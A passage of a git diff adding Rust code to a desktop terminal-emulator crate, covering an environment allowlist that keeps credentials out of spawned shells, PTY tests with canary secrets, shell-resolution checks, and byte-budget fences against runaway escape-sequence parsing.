portable_pty::CommandBuilder; + +/// Keys the child is allowed to inherit from Buzz's own environment. +/// +/// Deliberately minimal: each entry is something a shell genuinely cannot +/// function without, or that visibly degrades the session by its absence. +/// Anything not listed here does not reach the child, including keys that do +/// not exist yet — which is the property a denylist cannot offer. +const INHERIT_ALLOWLIST: &[&str] = &[ + "HOME", // shell startup files, ~ expansion + "USER", // prompt expansion, `whoami`-adjacent tooling + "LOGNAME", // POSIX companion to USER + "LANG", // UTF-8 decoding of the child's own output + "LC_ALL", // explicit locale override, when set + "LC_CTYPE", // character classification; wide/emoji handling + "TZ", // timestamps in prompts and logs + "TMPDIR", // per-user temp dir; absence breaks many tools on macOS +]; + +/// Values Buzz sets on the child unconditionally, overriding any inherited +/// value. `TERM` in particular must describe *our* emulator, not whatever +/// terminal happened to launch the desktop app. +const OVERRIDES: &[(&str, &str)] = &[ + ("TERM", "xterm-256color"), + ("TERM_PROGRAM", "Buzz"), + ("COLORTERM", "truecolor"), +]; + +/// Applies the environment fence to `cmd`, returning it for chaining. +/// +/// Ordering is load-bearing and the reverse fails silently: `env_clear()` +/// discards every accumulated entry, so clearing *after* populating yields a +/// child with an empty environment and no error anywhere. Clear first, then +/// rebuild. +/// +/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and +/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we +/// actually spawn are different values in exactly the cases the resolution +/// fallback exists for — a Finder-launched app with no `$SHELL`, or a +/// `$SHELL` that fails the executable-regular-file check — so inheriting it +/// would tell the child it is running something it is not. +pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) { + // 1. Drop the inherited environment wholesale, secrets included. + cmd.env_clear(); + + // 2. Rebuild only the allowlisted keys that are actually present. + for key in INHERIT_ALLOWLIST { + if let Some(value) = std::env::var_os(key) { + cmd.env(key, value); + } + } + + // 3. Apply Buzz's own terminal identity. + for (key, value) in OVERRIDES { + cmd.env(key, value); + } + + // 4. PATH is supplied by the caller rather than inherited; see + // `path::user_shell_path`. + cmd.env("PATH", path); + + // 5. The resolved shell, last. `CommandBuilder::as_command` writes its own + // `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our + // explicit entry is the one the child sees. + cmd.env("SHELL", shell); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs new file mode 100644 index 0000000000..59e94a1f63 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs @@ -0,0 +1,362 @@ +//! Secret-leak gate for the environment fence. +//! +//! These tests spawn a real PTY child and read its actual environment. An +//! assertion against the `CommandBuilder` alone would be weaker: it would not +//! prove that what the builder holds is what the kernel hands the child. + +use crate::env_fence::fence_env; +use crate::path::user_shell_path; +use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL}; +use portable_pty::{native_pty_system, CommandBuilder, PtySize}; +use std::io::Read; + +/// Secrets Buzz's own process holds. Sourced from the desktop crate's +/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated +/// rather than imported because this crate deliberately has no dependency +/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step. +const SECRET_KEYS: &[&str] = &[ + "BUZZ_PRIVATE_KEY", + "NOSTR_PRIVATE_KEY", + "BUZZ_AUTH_TAG", + "BUZZ_API_TOKEN", + "BUZZ_ACP_PRIVATE_KEY", + "BUZZ_ACP_API_TOKEN", + "BUZZ_RELAY_URL", +]; + +const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK"; + +/// Uniquely-named executable seeded into Buzz's own PATH; the child must not +/// be able to run it. +const CANARY_BIN: &str = "buzz-hermit-canary-tool"; + +/// Creates a fixture file at `name` with `mode`, replacing any leftover from +/// a previous run. +/// +/// The removal is not tidiness: a fixture written at mode `0o010` is not +/// writable by its own owner, so a second run in the same temp dir fails with +/// `Permission denied` before reaching a single assertion. Green on a fresh +/// runner, red on a persistent one — a test must not depend on which it got. +#[cfg(unix)] +fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf { + use std::os::unix::fs::PermissionsExt; + + let path = std::env::temp_dir().join(name); + let _ = std::fs::remove_file(&path); + std::fs::write(&path, contents).expect("write fixture"); + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture"); + path +} + +/// Runs `env` in a real PTY child under the full fence and returns its output. +fn fenced_child_environment() -> String { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell)) +} + +/// Runs `env` in a real PTY child and returns its raw output. +fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String { + child_command(build, "env") +} + +/// Runs `script` in a real PTY child under `build`'s fence and returns the +/// child's output. +/// +/// The child is a real process on a real PTY rather than an inspection of the +/// `CommandBuilder`: the builder is what we asked for, and the child's +/// `environ` is what the kernel actually delivered. Only the second one is the +/// property under test. +fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String { + let pty = native_pty_system(); + let pair = pty + .openpty(PtySize { + rows: 24, + cols: 80, + pixel_width: 0, + pixel_height: 0, + }) + .expect("openpty"); + + let mut cmd = CommandBuilder::new("/bin/sh"); + build(&mut cmd); + cmd.arg("-c"); + cmd.arg(script); + + let mut child = pair.slave.spawn_command(cmd).expect("spawn"); + drop(pair.slave); + + let mut reader = pair.master.try_clone_reader().expect("reader"); + let mut out = String::new(); + reader.read_to_string(&mut out).expect("read child output"); + child.wait().expect("wait"); + out +} + +/// Seeds this process with secrets so the fence has something to leak. +/// +/// Note these are process-global; the tests that rely on them assert on a +/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the +/// developer's environment neither masks a failure nor causes one. +fn seed_secrets() { + for key in SECRET_KEYS { + std::env::set_var(key, format!("{CANARY}_{key}")); + } +} + +#[test] +fn fence_keeps_secrets_out_of_the_child() { + seed_secrets(); + let out = fenced_child_environment(); + + assert!( + !out.contains(CANARY), + "a reserved secret reached the child environment:\n{out}" + ); + for key in SECRET_KEYS { + assert!( + !out.lines().any(|line| line.starts_with(&format!("{key}="))), + "{key} reached the child environment:\n{out}" + ); + } +} + +/// The other half of the assertion. A fence that clears in the wrong order +/// produces an empty environment: it passes the leak check above while +/// shipping a shell with no context and no error. Asserting only the negative +/// would ratify that bug. +#[test] +fn fence_still_delivers_the_terminal_contract() { + seed_secrets(); + let out = fenced_child_environment(); + + for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] { + assert!( + out.lines().any(|line| line == format!("{key}={value}")), + "{key} missing from child environment:\n{out}" + ); + } + assert!( + out.lines().any(|line| line.starts_with("PATH=")), + "PATH missing from child environment:\n{out}" + ); +} + +/// The fence must be exhaustive, not enumerated: a secret invented tomorrow +/// is excluded because it was never allowlisted. This is the property the +/// `feat/terminal` denylist could not offer. +#[test] +fn fence_excludes_keys_it_has_never_heard_of() { + std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY); + let out = fenced_child_environment(); + + assert!( + !out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"), + "an unknown key reached the child:\n{out}" + ); +} + +/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain +/// never becomes the user's shell toolchain. +/// +/// The assertion is *reachability*, not a string comparison: we seed a +/// uniquely-named executable into this process's `PATH` and prove the child +/// cannot run it. A string check would pass a fence that inherited a +/// differently-spelled toolchain directory, and would fail a fence that +/// legitimately contained the substring; `command -v` asks the question the +/// user actually asks by typing a command name. +#[test] +fn child_path_is_free_of_buzz_toolchain() { + let dir = std::env::temp_dir().join("buzz-terminal-path-canary"); + std::fs::create_dir_all(&dir).expect("canary dir"); + let canary = dir.join(CANARY_BIN); + std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755)) + .expect("chmod canary"); + } + + // Stand in for Hermit activation: Buzz's own PATH leads with a directory + // holding a tool the user does not have. + std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display())); + assert!( + is_executable_file(&canary), + "test setup: canary must be executable" + ); + + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let out = child_environment(|cmd| { + fence_env(cmd, &user_shell_path(), &shell); + }); + let path_line = out + .lines() + .find(|line| line.starts_with("PATH=")) + .expect("child has a PATH"); + assert!( + !path_line.contains("buzz-terminal-path-canary"), + "Buzz's toolchain leaked into the child PATH: {path_line}" + ); + + // The reachability arm: run `command -v` for the canary inside the fence. + let resolved = child_command( + |cmd| fence_env(cmd, &user_shell_path(), &shell), + &format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"), + ); + assert!( + resolved.contains("CANARY_UNREACHABLE"), + "a Buzz-only executable was reachable from the child shell: {resolved}" + ); +} + +/// `$SHELL` is honoured when it names an executable regular file. +#[test] +fn resolve_shell_prefers_a_valid_shell_env() { + assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh"); +} + +/// The other direction: an unset `$SHELL` must fall through to the **passwd +/// database**, not to the hardcoded fallback. +/// +/// Asserting merely that the result is executable is vacuous — `/bin/sh` is +/// executable, so a resolver with the passwd step deleted entirely passes it. +/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker +/// assertion. The property is *equality with the passwd entry*, and the +/// discriminating-power guard below refuses to pass silently on a machine +/// where the two candidates coincide. +#[test] +fn resolve_shell_falls_through_to_passwd_not_the_default() { + let Some(passwd) = crate::shell::passwd_shell() else { + panic!("no usable passwd shell; this gate cannot run on this machine"); + }; + assert_ne!( + passwd, FALLBACK_SHELL, + "passwd shell equals the fallback, so this test cannot tell the \ + passwd step from its absence; it must not report success" + ); + assert_eq!( + resolve_shell(None), + passwd, + "an unset $SHELL did not resolve to the passwd entry" + ); +} + +/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one +/// passes portable-pty's own check and produces a child that dies with a Rust +/// runtime panic. Requiring an executable *regular file* is what closes it. +#[test] +fn resolve_shell_rejects_a_directory_that_passes_x_ok() { + let dir = std::env::temp_dir(); + assert!( + !is_executable_file(&dir), + "a directory must not qualify as a shell" + ); + assert_ne!( + resolve_shell(dir.to_str()), + dir.to_str().unwrap(), + "a directory $SHELL was accepted; the child would abort on spawn" + ); +} + +/// Raw mode bits are not effective executability: a self-owned regular file +/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and +/// running it gives `Permission denied`. The metadata half of the predicate +/// cannot see this; only the `access` half can. +#[test] +fn resolve_shell_rejects_a_file_the_user_cannot_execute() { + use std::os::unix::fs::PermissionsExt; + + let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010); + let mode = std::fs::metadata(&path).expect("stat").permissions().mode(); + assert!( + mode & 0o111 != 0, + "test setup: some class must hold an execute bit, else this arm \ + cannot discriminate the mode check from the access check" + ); + + assert!( + !is_executable_file(&path), + "a file the effective user cannot execute was accepted as a shell" + ); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// A non-executable regular file falls through as well. +#[test] +fn resolve_shell_rejects_a_non_executable_file() { + let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// The login convention is `-`, applied without inspecting the +/// shell's name. Any shell — including ones that do not exist yet — gets +/// login semantics from argv0 rather than from a flag we guessed. +#[test] +fn login_argv0_is_shell_neutral() { + for (shell, expected) in [ + ("/bin/zsh", "-zsh"), + ("/usr/local/bin/fish", "-fish"), + ("/opt/nu/bin/nu", "-nu"), + (FALLBACK_SHELL, "-sh"), + ] { + assert_eq!(login_argv0(shell), expected); + } +} + +/// The child must be told the shell we actually spawned, not the one Buzz +/// itself was launched under. Asserting `SHELL` is merely present would pass +/// for an inherited value, which is wrong in exactly the fallback cases. +#[test] +fn child_shell_is_the_resolved_shell_not_the_inherited_one() { + std::env::set_var("SHELL", "/definitely/not/a/real/shell"); + let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref()); + assert_ne!( + resolved, "/definitely/not/a/real/shell", + "test setup: the bogus shell must not resolve" + ); + + let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved)); + assert!( + out.lines().any(|line| line == format!("SHELL={resolved}")), + "child SHELL is not the resolved shell (expected {resolved}):\n{out}" + ); + assert!( + !out.contains("/definitely/not/a/real/shell"), + "the inherited SHELL reached the child:\n{out}" + ); +} + +/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate +/// grows a new secret, this points at the file to update. +#[test] +fn reserved_keys_are_covered() { + // The list lives in its own file because `build.rs` `include!`s the same + // source (see `managed_agents/reserved_env_keys.rs`); read it there rather + // than through the module that includes it. + let source = include_str!("../../../src/managed_agents/reserved_env_keys.rs"); + let declared: Vec<&str> = source + .lines() + .skip_while(|line| !line.contains("RESERVED_ENV_KEYS")) + .take_while(|line| !line.trim_start().starts_with("];")) + .filter_map(|line| line.trim().strip_prefix('"')) + .filter_map(|line| line.split('"').next()) + .filter(|key| { + // Only identity/credential keys are in scope here: the rest of + // RESERVED_ENV_KEYS guards agent-config override, which cannot + // apply to a child that inherits nothing. + key.contains("PRIVATE_KEY") + || key.contains("AUTH_TAG") + || key.contains("API_TOKEN") + || key.contains("RELAY_URL") + }) + .collect(); + + assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS"); + for key in declared { + assert!( + SECRET_KEYS.contains(&key), + "{key} is a credential in RESERVED_ENV_KEYS but is not covered by \ + this crate's SECRET_KEYS; add it here" + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/fences.rs b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs new file mode 100644 index 0000000000..2797fa401f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs @@ -0,0 +1,262 @@ +//! The two hardening fences, and the counters that prove they ran. +//! +//! A hostile program can hold the parser's synchronized-update buffer open +//! (BSU without ESU) or an OSC string open, and upstream will buffer without +//! bound. Two independent fences, both enforced on **byte counts** — never on +//! a clock, because a clock makes the bound depend on how fast the machine is: +//! +//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`]. +//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have +//! been charged without the parser returning to a clean state. +//! +//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized +//! frame releases into the parser in one call, holding the `Term` lock for +//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock +//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both +//! memory and latency. + +/// Max bytes a synchronized update may buffer before it is aborted. +pub const SYNC_CAP: usize = 64 << 10; + +/// Max parser-visible bytes chargeable before the parser is rebuilt. +pub const OSC_BUDGET: usize = 256 << 10; + +/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend +/// before returning, in cell-equivalents. +/// +/// Derived, not chosen: measured worst-case density across the 2-D op sweep +/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback, +/// where fixed dispatch cost dominates the single cell it touches), so a +/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The +/// remaining three quarters are headroom for lock acquisition, the counting +/// wrapper's own bookkeeping, and platforms slower than the one measured; +/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not +/// spent to the last unit. +pub const WORK_BUDGET: u64 = 250_000; + +/// Widest slice handed to the parser at once. +/// +/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than +/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any +/// real scrollback depth -- no wider slice can promise to stop after the +/// callback that crosses. This cap is the other end, set at the throughput +/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB +/// measured, so nothing above it buys anything and a larger value only +/// coarsens the cut. +pub const MAX_SLICE: usize = 256; + +/// Bytes to hand the parser next. +/// +/// The **only** slice-sizing function, deliberately: an earlier version of +/// this module also exported a `slice_bytes(columns, lines, scrollback)` that +/// the scheduler stopped calling when slices became remaining-aware, and the +/// fixtures went on asserting against it. The two disagreed exactly where the +/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions +/// were describing a function no longer in the path. One function, one +/// answer, and every test asserts on what `drain` actually calls. +/// +/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so +/// `remaining / densest` bytes cannot carry a drain past the budget. +/// +/// `next_escape` is how far the next `ESC` is from the front of the tail. +/// This is the difference between a correct bound and an unusable one. Only +/// an escape can buy grid-sized work in two bytes; a run of ordinary +/// characters costs at most `columns` per byte (a wrapping line feed that +/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing +/// plain text as though every byte might be RIS drops throughput from +/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while +/// bounding something that cannot happen. So a plain run is sliced against +/// the plain-byte cost and only the escape itself is metered against the +/// worst atom. +pub fn slice_bytes_remaining( + columns: usize, + lines: usize, + scrollback: usize, + spent: u64, + next_escape: usize, +) -> usize { + let remaining = WORK_BUDGET.saturating_sub(spent); + if next_escape > 0 { + // A plain run, and it stops at the escape: an escape sharing a slice + // with the text in front of it is how a callback runs *after* the one + // that crossed the budget, which is the overrun this bound exists to + // prevent. Worst case per plain byte is a line feed that scrolls, + // which resets one row: `columns`. + let per_byte = (columns as u64).max(1); + return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE)); + } + // An escape starts here. `ESC c` is the densest at two bytes. + let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1); + ((remaining / densest) as usize).clamp(1, MAX_SLICE) +} + +/// Work the single worst uninterruptible callback can cost on this grid. +/// +/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside +/// the parser can cut inside a callback, so a caller converting a work budget +/// into a time bound must add it. +/// +/// It is `columns` because [`crate::units::Counting`] terminates CBT at its +/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight +/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to +/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the +/// atom, not the budget, would decide the bound. Stopping at the fixed point +/// makes it `columns`, and the budget goes back to being the thing that sets +/// the bound. Every other callback is priced at or below `cells`, which is +/// larger, so this term never dominates. +pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 { + // RIS: both grids plus the primary's configured scrollback. This is the + // largest single callback by a wide margin -- 16x the budget at the + // default 10k depth -- and it is genuinely indivisible, so it is stated + // rather than smoothed. CBT, once terminated at its fixed point, is + // `columns` and never competes. + // + // Saturating, and widened to u64 *before* multiplying. `Size` fields are + // unclamped `usize` with no caller bounding them, so the products here + // are reachable overflows: in debug that is a panic in the accounting + // path, and in release it wraps to a small number, which understates the + // bound -- an overflow that reports the parser as cheap is the worst of + // the three outcomes. + let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64); + let both_grids = columns.saturating_mul(lines).saturating_mul(2); + let history = scrollback.saturating_mul(columns); + both_grids.saturating_add(history).max(columns) +} + +/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do. +/// +/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being +/// exact about which is which, because I got this wrong first and the +/// fixtures caught it: +/// +/// * The budget is checked *between* slices, so a drain overshoots by up to +/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that +/// under one budget wherever its derivation is unclamped. +/// * A callback already running cannot be preempted. RIS at the default 10k +/// scrollback is worth 16x the whole budget on its own, so on such a grid +/// the floor binds and the overshoot is a few of those atoms. No scheduler +/// outside the parser can fix that -- what it can do is *report* it, which +/// is why this is a function callers can read rather than an assumption +/// they inherit. +pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 { + // One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every + // slice against the *remaining* budget, so it cannot start a slice able + // to hold more work than is left. What it cannot do is preempt a callback + // that has begun, which is where this term comes from. + WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback)) +} + +/// Max bytes that may sit unparsed before the reader must stop reading the +/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold. +pub const TAIL_CAP: usize = 4 << 20; + +/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so +/// the reader does not flap between full and one-byte-below-full. +pub const TAIL_RESUME: usize = 1 << 20; + +/// Which fences are active. Both on in production. +/// +/// The mutation law requires exercising each fence with the other **disabled**, +/// because F1's abort releases the sync buffer in small pieces and thereby +/// masks a miscounting F2. This is deliberately a runtime value and not a cargo +/// feature: a fence that can be compiled out is one more way for a gate to pass +/// green over code that never ran. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Fences { + /// F1: abort a synchronized update at [`SYNC_CAP`]. + pub sync_abort: bool, + /// F2: rebuild the parser at [`OSC_BUDGET`]. + pub osc_budget: bool, +} + +impl Default for Fences { + fn default() -> Self { + Self { + sync_abort: true, + osc_budget: true, + } + } +} + +impl Fences { + /// Production configuration: both fences enforced. + pub const ALL: Self = Self { + sync_abort: true, + osc_budget: true, + }; + /// F2 alone — the arm that can observe F2's counting, unmasked by F1. + pub const OSC_ONLY: Self = Self { + sync_abort: false, + osc_budget: true, + }; + /// F1 alone. + pub const SYNC_ONLY: Self = Self { + sync_abort: true, + osc_budget: false, + }; + /// Neither — the unfenced control that shows what upstream does alone. + pub const NONE: Self = Self { + sync_abort: false, + osc_budget: false, + }; +} + +/// Per-run fence observations. Every field is what some gate asserts on. +/// +/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2 +/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes +/// (omitting flush routes, or charging raw input) still resets — only the +/// charge total distinguishes those. One counter cannot see both mutations. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct FenceStats { + /// F1 aborts performed. + pub sync_aborts: u64, + /// Largest number of bytes released to the parser by a single flush, + /// whether via an F1 abort or a legitimate end-of-update. This is the + /// quantity that bounds one lock hold. + pub max_release: usize, + /// F2 parser rebuilds performed. + pub osc_resets: u64, + /// Parser-visible bytes charged against the F2 budget, cumulative across + /// resets. Includes every flush route, not just directly-advanced input. + pub charged_bytes: u64, + /// Parser units completed: one per `Handler` callback dispatched, which is + /// one per fully-parsed escape sequence or printed character. + /// + /// Separate from `charged_bytes` because they answer different questions + /// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite + /// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory; + /// units are the proxy for time. See [`crate::units`]. + pub completed_units: u64, + /// Cost-weighted work completed, in cell-equivalents: an O(cells) callback + /// charges `columns * lines`, an O(1) callback charges 1. + /// + /// Deliberately a second number rather than a replacement for + /// `completed_units`. They answer different questions -- "how many things + /// happened" versus "how much did they cost" -- and a stream of `ESC#8` + /// makes them disagree by four orders of magnitude, which is the entire + /// reason this fence exists. + pub completed_work: u64, + /// Deepest the unparsed tail has been, in bytes. The high-water mark + /// rather than the current depth, because the current depth is zero again + /// by the time a test looks at it. + pub max_pending: usize, + /// Times the tail was at or over [`TAIL_CAP`] at the end of a drain. + /// + /// Loud on purpose. Reaching the cap means the reader kept reading past + /// the point it was told to stop, so the queue bound is being held by + /// nothing; a silent cap would make that indistinguishable from a reader + /// that is obeying. + pub tail_breaches: u64, + /// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`]. + /// Non-zero anywhere but session close is a bug that ate output. + pub abandoned_bytes: u64, +} + +impl FenceStats { + /// Clear all counters. Diagnostics are per-run; a gate that reads a + /// counter accumulated across runs is asserting on the wrong thing. + pub fn reset(&mut self) { + *self = Self::default(); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lib.rs b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs new file mode 100644 index 0000000000..32ebbb1b8f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs @@ -0,0 +1,290 @@ +//! Terminal engine for the Buzz substrate. +//! +//! Owns the emulator: grid state, the parser, the two hardening fences, and +//! the damage encoding the renderer consumes. It does **not** own the PTY, the +//! child process, or the transport — those are the embedder's, so this crate +//! stays testable against byte fixtures with no process and no window. + +pub mod context; +pub mod damage; +pub mod env_fence; +pub mod fences; +pub mod lifecycle; +pub mod listener; +pub mod path; +pub mod reader; +pub mod shared; +pub mod shell; +pub mod units; + +#[cfg(test)] +mod context_tests; +// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check` +// builds these two -- and they drive real PTYs, `libc::kill`, and unix +// permission bits, which do not exist there. Gating the *modules* rather than +// their contents keeps the unix-only shape honest: the code under test is +// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against. +// `context_tests` is pure string logic and stays portable. +#[cfg(all(test, unix))] +mod env_fence_tests; +#[cfg(all(test, unix))] +mod lifecycle_tests; + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::term::{Config, Osc52, Term}; +use alacritty_terminal::vte::ansi::CursorStyle; + +pub use fences::{FenceStats, Fences}; +pub use listener::{Action, Listener}; +pub use shared::{AcquireMeter, AcquireStats, SharedTerminal}; + +/// Which grid a frame or a resize refers to. +/// +/// Generation and dimensions travel together as one value because they answer +/// one question -- "is this the grid I am currently showing?" -- and a consumer +/// that compares them field by field can compare two of the three and be wrong +/// on a resize that changes only the one it skipped. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Viewport { + /// Advances on every *applied* resize. A same-size resize is inert and + /// does not advance it, so an unchanged `ResizeObserver` tick cannot look + /// like a discontinuity. + pub generation: u64, + pub columns: usize, + pub screen_lines: usize, +} + +/// Terminal dimensions in cells, plus how much scrollback to retain. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Size { + pub columns: usize, + pub screen_lines: usize, + pub scrollback: usize, +} + +impl Default for Size { + fn default() -> Self { + Self { + columns: 80, + screen_lines: 24, + scrollback: 10_000, + } + } +} + +impl Dimensions for Size { + fn total_lines(&self) -> usize { + self.screen_lines + self.scrollback + } + + fn screen_lines(&self) -> usize { + self.screen_lines + } + + fn columns(&self) -> usize { + self.columns + } +} + +/// Build the emulator config. +/// +/// Written as an explicit literal rather than `..Default::default()` so that +/// every security-relevant field is stated here and an upstream default change +/// cannot alter our posture silently. In particular `osc52` defaults to +/// `OnlyCopy` upstream, which would let terminal output write the user's +/// clipboard; we disable it outright. +pub fn config(size: Size) -> Config { + Config { + scrolling_history: size.scrollback, + default_cursor_style: CursorStyle::default(), + vi_mode_cursor_style: None, + semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"), + kitty_keyboard: false, + osc52: Osc52::Disabled, + } +} + +/// A terminal: emulator state plus the fenced parser that drives it. +pub struct Terminal { + term: Term, + feeder: reader::Feeder, + size: Size, + generation: u64, +} + +impl Terminal { + pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver) { + let (listener, actions) = Listener::new(); + let term = Term::new(config(size), &size, listener); + ( + Self { + term, + feeder: reader::Feeder::new( + fences, + size.columns, + size.screen_lines, + size.scrollback, + ), + size, + generation: 0, + }, + actions, + ) + } + + /// Feed PTY output through the fences into the emulator. + /// + /// Parses what one work budget affords and returns with the rest held as + /// a pending tail, so one call cannot hold the terminal for an unbounded + /// time. **The caller must pump [`Terminal::drain`] until it returns + /// false**, releasing the lock between calls; that is the whole point -- + /// the tail exists to give the renderer a chance at the lock, not to defer + /// work indefinitely. [`Terminal::pending_bytes`] and + /// [`Terminal::tail_full`] tell the reader when to stop reading the PTY. + pub fn feed(&mut self, bytes: &[u8]) -> bool { + self.feeder.feed(&mut self.term, bytes) + } + + /// Parse more of the pending tail. Returns whether any remains. + pub fn drain(&mut self) -> bool { + self.feeder.drain(&mut self.term); + self.feeder.pending_bytes() > 0 + } + + /// Feed and parse to completion, without the intervening lock releases. + /// + /// For tests and for callers with no renderer contending -- it reinstates + /// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it + /// is deliberately a separate name rather than a flag on `feed`. + pub fn feed_fully(&mut self, bytes: &[u8]) { + self.feed(bytes); + while self.drain() {} + } + + /// Bytes accepted but not yet parsed. + pub fn pending_bytes(&self) -> usize { + self.feeder.pending_bytes() + } + + /// Whether the tail is at its cap and the reader must stop reading. + /// See [`reader::Feeder::tail_full`] for why production deliberately has + /// no consumer yet. + /// + /// There is no production consumer today, deliberately: the desktop + /// runtime pumps `drain()` to completion after every read, so the tail is + /// empty between iterations. A future reader that defers pumping must + /// consult this signal before accepting more PTY bytes. + pub fn tail_full(&self) -> bool { + self.feeder.tail_full() + } + + /// Whether a paused reader may resume. + pub fn tail_drained(&self) -> bool { + self.feeder.tail_drained() + } + + /// Discard the unparsed tail. Session close only -- see + /// [`reader::Feeder::abandon_tail`]. + pub fn abandon_tail(&mut self) -> usize { + self.feeder.abandon_tail() + } + + pub fn stats(&self) -> FenceStats { + self.feeder.stats() + } + + pub fn reset_stats(&mut self) { + self.feeder.reset_stats(); + } + + pub fn size(&self) -> Size { + self.size + } + + /// The grid as it stands now. Stamped onto each [`damage::Frame`] so a + /// consumer can tell that a frame describes a *different* grid than the one + /// it last drew, without having to infer it from message ordering. + pub fn viewport(&self) -> Viewport { + Viewport { + generation: self.generation, + columns: self.size.columns, + screen_lines: self.size.screen_lines, + } + } + + /// Apply a new viewport. + /// + /// Takes one target size, never a stream of them: resize is superlinear in + /// scrollback (2.5-4.7 ms per single column change at 10k history, and 40 + /// sequential 1-column steps cost 7.4x their coalesced equivalent), and it + /// runs while holding the terminal. Coalescing is the caller's job; this + /// function's job is to make the result observable. + /// + /// A resize forces a full damage frame -- upstream's `TermDamageState` + /// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what + /// keeps the encoder's per-line 